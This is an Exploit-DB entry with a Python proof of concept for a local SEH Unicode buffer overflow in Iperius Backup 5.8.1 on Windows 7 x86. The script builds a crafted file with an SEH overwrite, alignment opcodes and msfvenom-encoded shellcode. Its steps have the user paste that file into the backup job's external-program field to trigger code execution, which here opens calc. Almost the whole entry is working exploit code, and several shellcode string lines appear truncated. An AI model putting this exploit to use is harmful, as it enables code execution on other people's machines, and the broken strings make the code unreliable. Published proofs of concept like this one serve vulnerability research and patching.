Iperius Backup 5.8.1 - Buffer Overflow (SEH)

EDB-ID:
46059

CVE:
N/A

EDB Verified: ×

Author:
BZYO

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS_X86

Date:
2018-12-27

Vulnerable App:

```
# Exploit Title: Iperius Backup 5.8.1 - Buffer Overflow (SEH)
# Date: 2018-12-26
# Exploit Author: bzyo
# Twitter: @bzyo_
# Vulnerable Software: Iperius Backup 5.8.1
# Vendor Homepage: https://www.iperiusbackup.com
# Version: 5.8.1 Local Buffer Overflow (SEH Unicode)
# Software Link: https://www.iperiusbackup.com/download.aspx?v=free
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open app and create backup job
# 3. on other processes tab, select 'run a program or open external file'
# 4. copy/paste iperius.txt contents into file location
# 5. select ok to complete creating backup job
# 6. run backup job
# 7. app crashes; pop calc

#!/usr/bin/python

filename="iperius.txt"

junk = "\x71" * 306

#popad
nseh = "\x61\x62"

#0x005b004a
#pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii Iperius.exe
seh = "\x4a\x5b"

valign = (
"\x53"                  #push ebx
"\x47"                  #align
"\x58"                  #pop eax
"\x47"                  #align
"\x05\x12\x01"                          #add eax,200
"\x47"                  #align
"\x2d\x11\x01"                          #sub eax,100
"\x47"                  #align
"\x50"                  #push eax
"\x47"                  #align
"\xc3"                  #retn
)

#509 bytes
#msfvenom -p windows/exec CMD=calc -e x86/unicode_upper BufferRegister=EAX
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58A
"AJQI1AYAZBABABABAB30APB944JBKLZH4BM0M0KPS0SYIUP1Y01TTKR0NP4K1BLLDK0RN4DK42O8
"7QHOLMM17WK2L21B1GDKQBN04KOZOLDKPLN148ZC18KQJ121TKB9O0KQ9C4K0IN8ZCOJQ9TK04TK
"ZVLC3ML8OK3MO43EZDQHTKR8O4M1XS2FDKLLPK4KB8MLKQJ3TKKTTKM1XPCYOTMTO41K1K310YPZ
"TMU582KPKPKP201XNQ4KRODGKOXU7KZP7EVB26BH76TUGMUMKOXUOLLFCLKZSPKK9PD5KU7K0GN3

nops = "\x71"*109

fill = "\x71"*1000

buffer = junk + nseh + seh + valign + nops + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
```

Tags: Local Buffer Overflow

Advisory/Source: Link